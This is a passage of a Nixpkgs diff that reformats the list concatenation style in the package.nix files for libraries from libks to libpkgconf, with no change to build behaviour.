+++ b/pkgs/by-name/li/libks/package.nix
@@ -37,10 +37,11 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optional stdenv.hostPlatform.isLinux libuuid
-    ++ lib.optional stdenv.hostPlatform.isDarwin libossp_uuid;
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libuuid
+  ++ lib.optional stdenv.hostPlatform.isDarwin libossp_uuid;
 
   passthru = {
     tests.freeswitch = freeswitch;
diff --git a/pkgs/by-name/li/liblangtag/package.nix b/pkgs/by-name/li/liblangtag/package.nix
index 8022ca523003..63168b55d899 100644
--- a/pkgs/by-name/li/liblangtag/package.nix
+++ b/pkgs/by-name/li/liblangtag/package.nix
@@ -42,13 +42,12 @@ stdenv.mkDerivation rec {
     cp "${language_subtag_registry}" data/language-subtag-registry
   '';
 
-  configureFlags =
-    [
-      "ac_cv_va_copy=1"
-    ]
-    ++ lib.optional (
-      stdenv.hostPlatform.libc == "glibc"
-    ) "--with-locale-alias=${stdenv.cc.libc}/share/locale/locale.alias";
+  configureFlags = [
+    "ac_cv_va_copy=1"
+  ]
+  ++ lib.optional (
+    stdenv.hostPlatform.libc == "glibc"
+  ) "--with-locale-alias=${stdenv.cc.libc}/share/locale/locale.alias";
 
   buildInputs = [
     gettext
diff --git a/pkgs/by-name/li/libloot/package.nix b/pkgs/by-name/li/libloot/package.nix
index 1f1277715e67..905172dec85f 100644
--- a/pkgs/by-name/li/libloot/package.nix
+++ b/pkgs/by-name/li/libloot/package.nix
@@ -30,7 +30,8 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withDocs [ "doc" ];
+  ]
+  ++ lib.optionals withDocs [ "doc" ];
 
   src = fetchFromGitHub {
     owner = "loot";
@@ -52,17 +53,16 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals withDocs [
-      doxygen
-      python3Packages.sphinx
-      python3Packages.sphinx-rtd-theme
-      python3Packages.breathe
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals withDocs [
+    doxygen
+    python3Packages.sphinx
+    python3Packages.sphinx-rtd-theme
+    python3Packages.breathe
+  ];
 
   buildInputs = [
     boost
diff --git a/pkgs/by-name/li/liblouis/package.nix b/pkgs/by-name/li/liblouis/package.nix
index a02dba7b18ee..584d657a5f82 100644
--- a/pkgs/by-name/li/liblouis/package.nix
+++ b/pkgs/by-name/li/liblouis/package.nix
@@ -16,15 +16,14 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "liblouis";
   version = "3.33.0";
 
-  outputs =
-    [
-      "out"
-      "dev"
-      "info"
-      "doc"
-    ]
-    # configure: WARNING: cannot generate manual pages while cross compiling
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "man" ];
+  outputs = [
+    "out"
+    "dev"
+    "info"
+    "doc"
+  ]
+  # configure: WARNING: cannot generate manual pages while cross compiling
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "man" ];
 
   src = fetchFromGitHub {
     owner = "liblouis";
diff --git a/pkgs/by-name/li/libmad/package.nix b/pkgs/by-name/li/libmad/package.nix
index f6772748edb7..1c947bf35c5b 100644
--- a/pkgs/by-name/li/libmad/package.nix
+++ b/pkgs/by-name/li/libmad/package.nix
@@ -28,40 +28,39 @@ stdenv.mkDerivation rec {
     "dev"
   ];
 
-  patches =
-    [
-      (fetchpatch {
-        url = "https://github.com/openwrt/packages/raw/openwrt-19.07/libs/libmad/patches/001-mips_removal_h_constraint.patch";
-        sha256 = "0layswr6qg6axf4vyz6xrv73jwga34mkma3ifk9w9vrk41454hr5";
-      })
-      (fetchpatch {
-        url = "https://github.com/KaOSx/main/raw/1270b8080f37fb6cca562829a521991800b0a497/libmad/libmad.patch";
-        sha256 = "0rysq0sn3dfdz6pa6bfqkmk4ymc4rzk5ym7p16dyk37sldg1pbzs";
-      })
-      (fetchpatch {
-        url = "https://github.com/KaOSx/main/raw/1270b8080f37fb6cca562829a521991800b0a497/libmad/amd64-64bit.diff";
-        sha256 = "0mx56dmkbvw3zxnqd2hjng48q0d7q7473pns4n0ksdam29b0c5ar";
-      })
-      (fetchpatch {
-        name = "CVE-2017-8372-CVE-2017-8373.patch";
-        url = "https://github.com/openwrt/packages/raw/openwrt-19.07/libs/libmad/patches/102-CVE-2017-8373-CVE-2017-8372-md-size.patch";
-        sha256 = "0p6mkpn66h1ds8jvww28q4vlr58jwm58m9vb7pkvvyvy764agqnk";
-      })
-      (fetchpatch {
-        name = "CVE-2017-8374.patch";
-        url = "https://github.com/openwrt/packages/raw/openwrt-19.07/libs/libmad/patches/101-CVE-2017-8374-length-check.patch";
-        sha256 = "1j1ssxwmx9nfahzl62frbzck93xrjc2v3w30c12vmk29iflf1890";
-      })
-    ]
-    # optimize.diff is taken from https://projects.archlinux.org/svntogit/packages.git/tree/trunk/optimize.diff?h=packages/libmad
-    # It is included here in order to fix a build failure in Clang
-    # But it may be useful to fix other, currently unknown problems as well
-    ++ lib.optionals stdenv.cc.isClang [
-      (fetchpatch {
-        url = "https://github.com/KaOSx/main/raw/1270b8080f37fb6cca562829a521991800b0a497/libmad/optimize.diff";
-        sha256 = "0hcxzz9ql1fizyqbsgdchdwi7bvchfr72172j43hpyj53p0yabc6";
-      })
-    ];
+  patches = [
+    (fetchpatch {
+      url = "https://github.com/openwrt/packages/raw/openwrt-19.07/libs/libmad/patches/001-mips_removal_h_constraint.patch";
+      sha256 = "0layswr6qg6axf4vyz6xrv73jwga34mkma3ifk9w9vrk41454hr5";
+    })
+    (fetchpatch {
+      url = "https://github.com/KaOSx/main/raw/1270b8080f37fb6cca562829a521991800b0a497/libmad/libmad.patch";
+      sha256 = "0rysq0sn3dfdz6pa6bfqkmk4ymc4rzk5ym7p16dyk37sldg1pbzs";
+    })
+    (fetchpatch {
+      url = "https://github.com/KaOSx/main/raw/1270b8080f37fb6cca562829a521991800b0a497/libmad/amd64-64bit.diff";
+      sha256 = "0mx56dmkbvw3zxnqd2hjng48q0d7q7473pns4n0ksdam29b0c5ar";
+    })
+    (fetchpatch {
+      name = "CVE-2017-8372-CVE-2017-8373.patch";
+      url = "https://github.com/openwrt/packages/raw/openwrt-19.07/libs/libmad/patches/102-CVE-2017-8373-CVE-2017-8372-md-size.patch";
+      sha256 = "0p6mkpn66h1ds8jvww28q4vlr58jwm58m9vb7pkvvyvy764agqnk";
+    })
+    (fetchpatch {
+      name = "CVE-2017-8374.patch";
+      url = "https://github.com/openwrt/packages/raw/openwrt-19.07/libs/libmad/patches/101-CVE-2017-8374-length-check.patch";
+      sha256 = "1j1ssxwmx9nfahzl62frbzck93xrjc2v3w30c12vmk29iflf1890";
+    })
+  ]
+  # optimize.diff is taken from https://projects.archlinux.org/svntogit/packages.git/tree/trunk/optimize.diff?h=packages/libmad
+  # It is included here in order to fix a build failure in Clang
+  # But it may be useful to fix other, currently unknown problems as well
+  ++ lib.optionals stdenv.cc.isClang [
+    (fetchpatch {
+      url = "https://github.com/KaOSx/main/raw/1270b8080f37fb6cca562829a521991800b0a497/libmad/optimize.diff";
+      sha256 = "0hcxzz9ql1fizyqbsgdchdwi7bvchfr72172j43hpyj53p0yabc6";
+    })
+  ];
 
   # The -fforce-mem flag has been removed in GCC 4.3.
   postPatch = ''
diff --git a/pkgs/by-name/li/libmanette/package.nix b/pkgs/by-name/li/libmanette/package.nix
index 19fb8adb4a12..ff6ab3cdf623 100644
--- a/pkgs/by-name/li/libmanette/package.nix
+++ b/pkgs/by-name/li/libmanette/package.nix
@@ -27,38 +27,37 @@ stdenv.mkDerivation (finalAttrs: {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/libmanette/${lib.versions.majorMinor finalAttrs.version}/libmanette-${finalAttrs.version}.tar.xz";
     hash = "sha256-SLNJJnGA8dw01AWp4ekLoW8FShnOkHkw5nlJPZEeodg=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      glib
-    ]
-    ++ lib.optionals withIntrospection [
-      vala
-      gobject-introspection
-      gi-docgen
-    ]
-    ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    glib
+  ]
+  ++ lib.optionals withIntrospection [
+    vala
+    gobject-introspection
+    gi-docgen
+  ]
+  ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      glib
-      libevdev
-      hidapi
-    ]
-    ++ lib.optionals withIntrospection [
-      libgudev
-    ];
+  buildInputs = [
+    glib
+    libevdev
+    hidapi
+  ]
+  ++ lib.optionals withIntrospection [
+    libgudev
+  ];
 
   mesonFlags = [
     (lib.mesonBool "doc" withIntrospection)
diff --git a/pkgs/by-name/li/libmbim/package.nix b/pkgs/by-name/li/libmbim/package.nix
index 3fa0d2212ce6..11ca492c825f 100644
--- a/pkgs/by-name/li/libmbim/package.nix
+++ b/pkgs/by-name/li/libmbim/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optionals withDocs [ "man" ];
+  ]
+  ++ lib.optionals withDocs [ "man" ];
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
@@ -43,19 +44,18 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals withDocs [
-      help2man
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals withDocs [
+    help2man
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/libmediaart/package.nix b/pkgs/by-name/li/libmediaart/package.nix
index 7d04fbe91941..24013758b159 100644
--- a/pkgs/by-name/li/libmediaart/package.nix
+++ b/pkgs/by-name/li/libmediaart/package.nix
@@ -31,20 +31,19 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "K0Pdn1Tw2NC4nirduDNBqwbXuYyxsucEODWEr5xWD2s=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      vala
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_412
-      gobject-introspection
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    vala
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_412
+    gobject-introspection
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/libmediainfo/package.nix b/pkgs/by-name/li/libmediainfo/package.nix
index cb70032493cb..dd380cad4b51 100644
--- a/pkgs/by-name/li/libmediainfo/package.nix
+++ b/pkgs/by-name/li/libmediainfo/package.nix
@@ -35,13 +35,12 @@ stdenv.mkDerivation rec {
       --replace "pkg-config " "${stdenv.cc.targetPrefix}pkg-config "
   '';
 
-  configureFlags =
-    [
-      "--enable-shared"
-    ]
-    ++ lib.optionals curlSupport [
-      "--with-libcurl"
-    ];
+  configureFlags = [
+    "--enable-shared"
+  ]
+  ++ lib.optionals curlSupport [
+    "--with-libcurl"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/li/libmpdclient/package.nix b/pkgs/by-name/li/libmpdclient/package.nix
index fcc8c2636a47..6fe5ca48bb35 100644
--- a/pkgs/by-name/li/libmpdclient/package.nix
+++ b/pkgs/by-name/li/libmpdclient/package.nix
@@ -18,14 +18,13 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-KF8IR9YV6b9ro+L9m6nHs1IggakEZddfcBKm/oKCVZY=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   meta = {
     description = "Client library for MPD (music player daemon)";
diff --git a/pkgs/by-name/li/libnbd/package.nix b/pkgs/by-name/li/libnbd/package.nix
index ce86d89eaa20..55fca95e0493 100644
--- a/pkgs/by-name/li/libnbd/package.nix
+++ b/pkgs/by-name/li/libnbd/package.nix
@@ -29,21 +29,20 @@ lib.throwIf (buildOcamlBindings && !lib.versionAtLeast ocamlPackages.ocaml.versi
       hash = "sha256-9oVJrU2YcXGnKaDf8SoHKGtG7vpH5355/DKIiYrchHI=";
     };
 
-    nativeBuildInputs =
+    nativeBuildInputs = [
+      bash-completion
+      pkg-config
+      perl
+      autoreconfHook
+    ]
+    ++ lib.optionals buildPythonBindings [ python3 ]
+    ++ lib.optionals buildOcamlBindings (
+      with ocamlPackages;
       [
-        bash-completion
-        pkg-config
-        perl
-        autoreconfHook
+        findlib
+        ocaml
       ]
-      ++ lib.optionals buildPythonBindings [ python3 ]
-      ++ lib.optionals buildOcamlBindings (
-        with ocamlPackages;
-        [
-          findlib
-          ocaml
-        ]
-      );
+    );
 
     buildInputs = [
       fuse
diff --git a/pkgs/by-name/li/libnfc-nci/package.nix b/pkgs/by-name/li/libnfc-nci/package.nix
index 55e98b1f9be9..041b7f5362f1 100644
--- a/pkgs/by-name/li/libnfc-nci/package.nix
+++ b/pkgs/by-name/li/libnfc-nci/package.nix
@@ -24,13 +24,12 @@ stdenv.mkDerivation (finalAttrs: {
     autoreconfHook
   ];
 
-  configureFlags =
-    [
-      "--enable-i2c"
-    ]
-    ++ lib.optionals debug [
-      "--enable-debug"
-    ];
+  configureFlags = [
+    "--enable-i2c"
+  ]
+  ++ lib.optionals debug [
+    "--enable-debug"
+  ];
   dontStrip = debug;
 
   postInstall = ''
diff --git a/pkgs/by-name/li/libngspice/package.nix b/pkgs/by-name/li/libngspice/package.nix
index 58ccd41a8cb9..f29591ed0c23 100644
--- a/pkgs/by-name/li/libngspice/package.nix
+++ b/pkgs/by-name/li/libngspice/package.nix
@@ -26,18 +26,17 @@ stdenv.mkDerivation rec {
     bison
   ];
 
-  buildInputs =
-    [
-      fftw
-      readline
-    ]
-    ++ lib.optionals (!withNgshared) [
-      libXaw
-      libXext
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    fftw
+    readline
+  ]
+  ++ lib.optionals (!withNgshared) [
+    libXaw
+    libXext
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    llvmPackages.openmp
+  ];
 
   configureFlags =
     lib.optionals withNgshared [
diff --git a/pkgs/by-name/li/libnice/package.nix b/pkgs/by-name/li/libnice/package.nix
index cdb839c464b0..6d2361b25d2e 100644
--- a/pkgs/by-name/li/libnice/package.nix
+++ b/pkgs/by-name/li/libnice/package.nix
@@ -25,7 +25,8 @@ stdenv.mkDerivation (finalAttrs: {
     "bin"
     "out"
     "dev"
-  ] ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
+  ]
+  ++ lib.optionals (stdenv.buildPlatform == stdenv.hostPlatform) [ "devdoc" ];
 
   src = fetchurl {
     url = "https://libnice.freedesktop.org/releases/libnice-${finalAttrs.version}.tar.gz";
diff --git a/pkgs/by-name/li/libnick/package.nix b/pkgs/by-name/li/libnick/package.nix
index 4a5bb2ec33ca..d25f814a61d9 100644
--- a/pkgs/by-name/li/libnick/package.nix
+++ b/pkgs/by-name/li/libnick/package.nix
@@ -28,26 +28,24 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-5GO39rtSvg96y6VE0Ej4x7j1zDatP6JSktIcyhSrb98=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isUnix [
-      pkg-config
-      validatePkgConfig
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isUnix [
+    pkg-config
+    validatePkgConfig
+  ];
 
-  buildInputs =
-    [
-      boost
-      libmaddy-markdown
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isUnix [
-      glib
-      openssl
-    ]
-    ++ lib.optional stdenv.hostPlatform.isWindows sqlcipher;
+  buildInputs = [
+    boost
+    libmaddy-markdown
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isUnix [
+    glib
+    openssl
+  ]
+  ++ lib.optional stdenv.hostPlatform.isWindows sqlcipher;
 
   propagatedBuildInputs = [
     curl
diff --git a/pkgs/by-name/li/libnl/package.nix b/pkgs/by-name/li/libnl/package.nix
index 0b579b88f7fe..2038f109726f 100644
--- a/pkgs/by-name/li/libnl/package.nix
+++ b/pkgs/by-name/li/libnl/package.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
     "dev"
     "out"
     "man"
-  ] ++ lib.optional pythonSupport "py";
+  ]
+  ++ lib.optional pythonSupport "py";
 
   enableParallelBuilding = true;
 
@@ -48,7 +49,8 @@ stdenv.mkDerivation rec {
     mscgen
     asciidoc
     sourceHighlight
-  ] ++ lib.optional pythonSupport swig;
+  ]
+  ++ lib.optional pythonSupport swig;
 
   postBuild = lib.optionalString (pythonSupport) ''
     cd python
diff --git a/pkgs/by-name/li/libnma/package.nix b/pkgs/by-name/li/libnma/package.nix
index 9fdf26c82626..ddd16147d587 100644
--- a/pkgs/by-name/li/libnma/package.nix
+++ b/pkgs/by-name/li/libnma/package.nix
@@ -47,37 +47,35 @@ stdenv.mkDerivation rec {
     ./hardcode-gsettings.patch
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      gettext
-      pkg-config
-      gobject-introspection
-      gtk-doc
-      docbook_xsl
-      docbook_xml_dtd_43
-      libxml2
-      vala
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    gettext
+    pkg-config
+    gobject-introspection
+    gtk-doc
+    docbook_xsl
+    docbook_xml_dtd_43
+    libxml2
+    vala
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      gtk3
-      networkmanager
-      isocodes
-      mobile-broadband-provider-info
-    ]
-    ++ lib.optionals withGtk4 [
-      gtk4
-    ]
-    ++ lib.optionals withGnome [
-      # advanced certificate chooser
-      gcr_4
-    ];
+  buildInputs = [
+    gtk3
+    networkmanager
+    isocodes
+    mobile-broadband-provider-info
+  ]
+  ++ lib.optionals withGtk4 [
+    gtk4
+  ]
+  ++ lib.optionals withGnome [
+    # advanced certificate chooser
+    gcr_4
+  ];
 
   mesonFlags = [
     "-Dgcr=${lib.boolToString withGnome}"
diff --git a/pkgs/by-name/li/libnotify/package.nix b/pkgs/by-name/li/libnotify/package.nix
index 8911bb208812..8345b27ae222 100644
--- a/pkgs/by-name/li/libnotify/package.nix
+++ b/pkgs/by-name/li/libnotify/package.nix
@@ -42,18 +42,17 @@ stdenv.mkDerivation rec {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      libxslt
-      docbook-xsl-ns
-      glib # for glib-mkenums needed during the build
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    libxslt
+    docbook-xsl-ns
+    glib # for glib-mkenums needed during the build
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ];
 
   propagatedBuildInputs = [
     gdk-pixbuf
diff --git a/pkgs/by-name/li/libofx/package.nix b/pkgs/by-name/li/libofx/package.nix
index e305e6e66a32..7511ea6b63da 100644
--- a/pkgs/by-name/li/libofx/package.nix
+++ b/pkgs/by-name/li/libofx/package.nix
@@ -37,7 +37,8 @@ stdenv.mkDerivation rec {
     opensp
     libxml2
     curl
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   meta = {
     description = "Opensource implementation of the Open Financial eXchange specification";
diff --git a/pkgs/by-name/li/libopenglrecorder/package.nix b/pkgs/by-name/li/libopenglrecorder/package.nix
index fd33a57d9103..cf9cd8cd224e 100644
--- a/pkgs/by-name/li/libopenglrecorder/package.nix
+++ b/pkgs/by-name/li/libopenglrecorder/package.nix
@@ -28,16 +28,15 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libjpeg
-      libvpx
-      openh264
-    ]
-    ++ lib.optionals withPulse [
-      libpulseaudio
-      libvorbis
-    ];
+  buildInputs = [
+    libjpeg
+    libvpx
+    openh264
+  ]
+  ++ lib.optionals withPulse [
+    libpulseaudio
+    libvorbis
+  ];
 
   meta = with lib; {
     description = "Library allowing Optional async readback OpenGL frame buffer with optional audio recording";
diff --git a/pkgs/by-name/li/libopenmpt/package.nix b/pkgs/by-name/li/libopenmpt/package.nix
index b9a7c8fd31b5..f3e5fa6dbd30 100644
--- a/pkgs/by-name/li/libopenmpt/package.nix
+++ b/pkgs/by-name/li/libopenmpt/package.nix
@@ -36,19 +36,18 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      zlib
-      mpg123
-      libogg
-      libvorbis
-      portaudio
-      libsndfile
-      flac
-    ]
-    ++ lib.optionals usePulseAudio [
-      libpulseaudio
-    ];
+  buildInputs = [
+    zlib
+    mpg123
+    libogg
+    libvorbis
+    portaudio
+    libsndfile
+    flac
+  ]
+  ++ lib.optionals usePulseAudio [
+    libpulseaudio
+  ];
 
   configureFlags = [
     (lib.strings.withFeature usePulseAudio "pulseaudio")
diff --git a/pkgs/by-name/li/liboping/package.nix b/pkgs/by-name/li/liboping/package.nix
index 92e3666dbb4b..9b3924158aea 100644
--- a/pkgs/by-name/li/liboping/package.nix
+++ b/pkgs/by-name/li/liboping/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   configureFlags = [
     "ac_cv_func_malloc_0_nonnull=yes"
-  ] ++ lib.optional (perl == null) "--with-perl-bindings=no";
+  ]
+  ++ lib.optional (perl == null) "--with-perl-bindings=no";
 
   buildFlags = [
     "CC=${stdenv.cc.targetPrefix}cc"
diff --git a/pkgs/by-name/li/liborcus/package.nix b/pkgs/by-name/li/liborcus/package.nix
index d50b469fc91e..e354a4c514ce 100644
--- a/pkgs/by-name/li/liborcus/package.nix
+++ b/pkgs/by-name/li/liborcus/package.nix
@@ -36,20 +36,19 @@ stdenv.mkDerivation rec {
     zlib
   ];
 
-  preCheck =
-    ''
-      patchShebangs test/python
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH''${DYLD_LIBRARY_PATH:+:}${
-        lib.concatMapStringsSep ":" (d: "$(pwd)/src/${d}/.libs") [
-          "liborcus"
-          "parser"
-          "python"
-          "spreadsheet"
-        ]
-      }
-    '';
+  preCheck = ''
+    patchShebangs test/python
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH''${DYLD_LIBRARY_PATH:+:}${
+      lib.concatMapStringsSep ":" (d: "$(pwd)/src/${d}/.libs") [
+        "liborcus"
+        "parser"
+        "python"
+        "spreadsheet"
+      ]
+    }
+  '';
 
   strictDeps = true;
   doCheck = true;
diff --git a/pkgs/by-name/li/libosinfo/package.nix b/pkgs/by-name/li/libosinfo/package.nix
index 5357338529bf..22a8bba864fa 100644
--- a/pkgs/by-name/li/libosinfo/package.nix
+++ b/pkgs/by-name/li/libosinfo/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "devdoc";
+  ]
+  ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform) "devdoc";
 
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/li/libossp_uuid/package.nix b/pkgs/by-name/li/libossp_uuid/package.nix
index 57078f4741eb..a0ed6e50b467 100644
--- a/pkgs/by-name/li/libossp_uuid/package.nix
+++ b/pkgs/by-name/li/libossp_uuid/package.nix
@@ -15,7 +15,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "ac_cv_va_copy=C99"
-  ] ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isFreeBSD "--with-pic";
 
   patches = [ ./shtool.patch ];
 
diff --git a/pkgs/by-name/li/libpcap/package.nix b/pkgs/by-name/li/libpcap/package.nix
index 72996ff96cef..1e77e3388084 100644
--- a/pkgs/by-name/li/libpcap/package.nix
+++ b/pkgs/by-name/li/libpcap/package.nix
@@ -32,30 +32,27 @@ stdenv.mkDerivation rec {
   };
 
   buildInputs =
-    lib.optionals stdenv.hostPlatform.isLinux [ libnl ]
-    ++ lib.optionals withRemote [ libxcrypt ];
+    lib.optionals stdenv.hostPlatform.isLinux [ libnl ] ++ lib.optionals withRemote [ libxcrypt ];
 
-  nativeBuildInputs =
-    [
-      flex
-      bison
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ]
-    ++ lib.optionals withBluez [ bluez.dev ];
+  nativeBuildInputs = [
+    flex
+    bison
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ pkg-config ]
+  ++ lib.optionals withBluez [ bluez.dev ];
 
   # We need to force the autodetection because detection doesn't
   # work in pure build environments.
-  configureFlags =
-    [
-      "--with-pcap=${if stdenv.hostPlatform.isLinux then "linux" else "bpf"}"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--disable-universal"
-    ]
-    ++ lib.optionals withRemote [
-      "--enable-remote"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "ac_cv_linux_vers=2" ];
+  configureFlags = [
+    "--with-pcap=${if stdenv.hostPlatform.isLinux then "linux" else "bpf"}"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--disable-universal"
+  ]
+  ++ lib.optionals withRemote [
+    "--enable-remote"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform == stdenv.buildPlatform) [ "ac_cv_linux_vers=2" ];
 
   postInstall = ''
     if [ "$dontDisableStatic" -ne "1" ]; then
diff --git a/pkgs/by-name/li/libpciaccess/package.nix b/pkgs/by-name/li/libpciaccess/package.nix
index e18595b1caf2..2815baac2da5 100644
--- a/pkgs/by-name/li/libpciaccess/package.nix
+++ b/pkgs/by-name/li/libpciaccess/package.nix
@@ -29,12 +29,13 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
   ];
 
-  buildInputs =
-    [ zlib ]
-    ++ lib.optionals stdenv.hostPlatform.isNetBSD [
-      netbsd.libarch
-      netbsd.libpci
-    ];
+  buildInputs = [
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isNetBSD [
+    netbsd.libarch
+    netbsd.libpci
+  ];
 
   mesonFlags = [
     (lib.mesonOption "pci-ids" "${hwdata}/share/hwdata")
diff --git a/pkgs/by-name/li/libpkgconf/package.nix b/pkgs/by-name/li/libpkgconf/package.nix
index bbda6d817ebe..707a4234cc1a 100644
--- a/pkgs/by-name/li/libpkgconf/package.nix
+++ b/pkgs/by-name/li/libpkgconf/package.nix
@@ -30,24 +30,23 @@ stdenv.mkDerivation (finalAttrs: {
   # Debian has outputs like these too
   # (https://packages.debian.org/source/bullseye/pkgconf), so it is safe to
   # remove those references
-  postFixup =
-    ''
-      remove-references-to \
-        -t "${placeholder "out"}" \
-        "${placeholder "lib"}"/lib/*
-      remove-references-to \
-        -t "${placeholder "dev"}" \
-        "${placeholder "lib"}"/lib/* \
-        "${placeholder "out"}"/bin/*
-    ''
-    # Move back share/aclocal. Yes, this normally goes in the dev output for good
-    # reason, but in this case the dev output is for the `libpkgconf` library,
-    # while the aclocal stuff is for the tool. The tool is already for use during
-    # development, so there is no reason to have separate "dev-bin" and "dev-lib"
-    # outputs or something.
-    + ''
-      mv ${placeholder "dev"}/share ${placeholder "out"}
-    '';
+  postFixup = ''
+    remove-references-to \
+      -t "${placeholder "out"}" \
+      "${placeholder "lib"}"/lib/*
+    remove-references-to \
+      -t "${placeholder "dev"}" \
+      "${placeholder "lib"}"/lib/* \
+      "${placeholder "out"}"/bin/*
+  ''
+  # Move back share/aclocal. Yes, this normally goes in the dev output for good
+  # reason, but in this case the dev output is for the `libpkgconf` library,
+  # while the aclocal stuff is for the tool. The tool is already for use during
+  # development, so there is no reason to have separate "dev-bin" and "dev-lib"
+  # outputs or something.
+  + ''
+    mv ${placeholder "dev"}/share ${placeholder "out"}
+  '';
 
   passthru.updateScript = gitUpdater {
     url = "https://gitea.treehouse.systems/ariadne/pkgconf";
